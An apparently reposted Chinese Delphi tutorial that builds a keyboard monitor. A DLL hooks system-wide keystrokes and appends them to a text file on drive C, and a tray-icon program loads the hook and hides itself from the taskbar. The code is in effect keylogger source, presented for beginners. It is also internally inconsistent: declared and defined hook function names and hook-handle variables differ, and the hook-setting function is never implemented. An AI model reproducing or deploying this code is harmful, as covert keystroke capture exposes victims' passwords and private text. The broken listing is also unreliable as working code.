利用Hook技術實現鍵盤監控

來源:互聯網
上載者:User
在許多系統中,出於安全或其它原因,常常要求隨時對鍵盤進行監控,一個專業的監控程式必須具備兩點,一是即時;二是作為指示表徵圖運行。實際應用中把利用Hook(即鉤子)技術編寫的應用程式添加到Windows的工作列的指示區中就能夠很好的達到這個目的。我在參考了API協助文檔基礎上,根據在Delphi開發環境中的具體實現分別對這兩部分進行詳細論述。
  一、Hook(鉤子)的實現:
  Hook是應用程式在Microsoft Windows 訊息處理過程中設定的用來監控訊息流程並且處理系統中尚未到達目的視窗的某一類型訊息過程的機制。如果Hook過程在應用程式中實現,若應用程式不是當前視窗時,該Hook就不起作用;如果Hook在DLL中實現,程式在運行中動態調用它,它能即時對系統進行監控。根據需要,我們採用的是在DLL中實現Hook的方式。
  1.建立一個匯出兩個函數的DLL檔案,在hookproc.pas中定義了鉤子具體實現過程。代碼如下:
  library keyspy;
  uses windows, messages, hookproc in ’hookproc.pas’;
  exports setkeyhook,endkeyhook;
  begin
  nexthookproc:=0;
  procsaveexit:=exitproc;
  exitproc:=@keyhookexit;
  end.

  2.在Hookproc.pas中實現了鉤子具體過程:

  unit hookproc;
  interface uses Windows, Messages, SysUtils, Controls, StdCtrls;
  var nexthookproc:hhook;
  procsaveexit:pointer;
  function keyboardhook(icode:integer;wparam:wparam;
  lparam:lparam):lresult;stdcall;export;
  function setkeyhook:bool;export;//載入鉤子
  function endkeyhook:bool;export;//卸載鉤子
  procedure keyhookexit;far;
  const afilename=’c:debug.txt’;//將鍵盤輸入動作寫入檔案中
  var debugfile:textfile;
  implementation
  function keyboardhookhandler(icode:integer;wparam:wparam;
  lparam:lparam):lresult;stdcall;export;
  begin
  if icode<0 then
  begin
  result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
  exit;
  end;
  assignfile(debugfile,afilename);
  append(debugfile);
  if getkeystate(vk_return)<0 then
  begin
  writeln(debugfile,’’);
  write(debugfile,char(wparam));
  end
  else
  write(debugfile,char(wparam));
  closefile(debugfile);
  result:=0;
  end;

  function endkeyhook:bool;export;
  begin
  if nexthookproc<>0 then begin
  unhookwindowshookex(nexthookproc);
  nexthookproc:=0;
  messagebeep(0);
    end;
  result:=hnexthookproc=0;
  end;

  procedure keyhookexit;far;
  begin
  if nexthookproc<>0 then endkeyhook;
  exitproc:=procsaveexit;
    end;
  end.

二、Win95/98使用工作列右方指示區來顯示應用程式或工具表徵圖對指示區表徵圖的操作涉及了一個API函數Shell_NotifyIcon。它有兩個參數,一個是指向TnotifyIconData結構的指標,另一個是要添加、刪除、改動表徵圖的標誌。

  通過該函函數將應用程式的表徵圖添加到指示區中,使其作為表徵圖運行,增加專業特色。當程式起動後,用滑鼠右鍵點擊表徵圖,則彈出一個菜單,可選擇sethook或endhook。

  unit kb;
  interface uses Windows, Messages, SysUtils, Classes,Graphics, Controls, Forms,Dialogs, StdCtrls, Menus,shellapi;
  const icon_id=1;
  MI_iconevent=wm_user+1;//定義一個使用者訊息
  type
  TForm1 = class(TForm)
  PopupMenu1: TPopupMenu;
  sethook1: TMenuItem;
  endhook1: TMenuItem;
  N1: TMenuItem;
  About1: TMenuItem;
  Close1: TMenuItem;
  Gettext1: TMenuItem;
  procedure FormCreate(Sender: TObject);
  procedure sethook1Click(Sender: TObject);
  procedure endhook1Click(Sender: TObject);
  procedure FormDestroy(Sender: TObject);
  procedure Close1Click(Sender: TObject);
  private
  { Private declarations }
  nid:tnotifyicondata;
  normalicon:ticon;
  public
  { Public declarations }
  procedure icontray(var msg:tmessage);
  message mi_iconevent;
  end;

  var
  Form1: TForm1;
  implementation
  {$R *.DFM}
  function setkeyhook:bool;external ’keyspy.dll’;
  function endkeyhook:bool;external ’keyspy.dll’;

  procedure tform1.icontray(var msg:tmessage);
  var
  pt:tpoint;
  begin
  if msg.lparam=wm_lbuttondown then
  sethook1click(self);
  if msg.LParam=wm_rbuttondown then
  begin
  getcursorpos(pt);
  setforegroundwindow(handle);
  popupmenu1.popup(pt.x,pt.y);
  end;
  end;

  procedure TForm1.FormCreate(Sender: TObject);
  begin
  normalicon:=ticon.create;
  application.title:=caption;
  nid.cbsize:=sizeof(nid);
  nid.wnd:=handle;
  nid.uid:=icon_id;
  nid.uflags:=nif_icon Or nif_message Or nif_tip;
  nid.ucallbackmessage:=mi_iconevent;
  nid.hIcon :=normalicon.handle;
  strcopy(nid.sztip,pchar(caption));
  nid.uFlags:=nif_message Or nif_icon Or nif_tip;
  shell_notifyicon(nim_add,@nid);
  SetWindowLong(Application.Handle,
  GWL_EXSTYLE,WS_EX_TOOLWINDOW);
  end;

  procedure TForm1.sethook1Click(Sender: TObject);
  begin
  setkeyhook;
  end;

  procedure TForm1.endhook1Click(Sender: TObject);
  begin
  endkeyhook;
  end;

  procedure TForm1.FormDestroy(Sender: TObject);
  begin
  nid.uFlags :=0;
  shell_notifyicon(nim_delete,@nid);
  end;

  procedure TForm1.Close1Click(Sender: TObject);
  begin
  application.terminate;
  end;
  該程式雖然只用了幾個shellApi函數,但是它涉及到了在Delphi中對DLL的引用、鉤子實現、對指示區的操作、使用者定義訊息的處理、檔案的讀寫等比較重要的內容,我相信這篇文章能對許多Delphi的初學者有所協助。 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.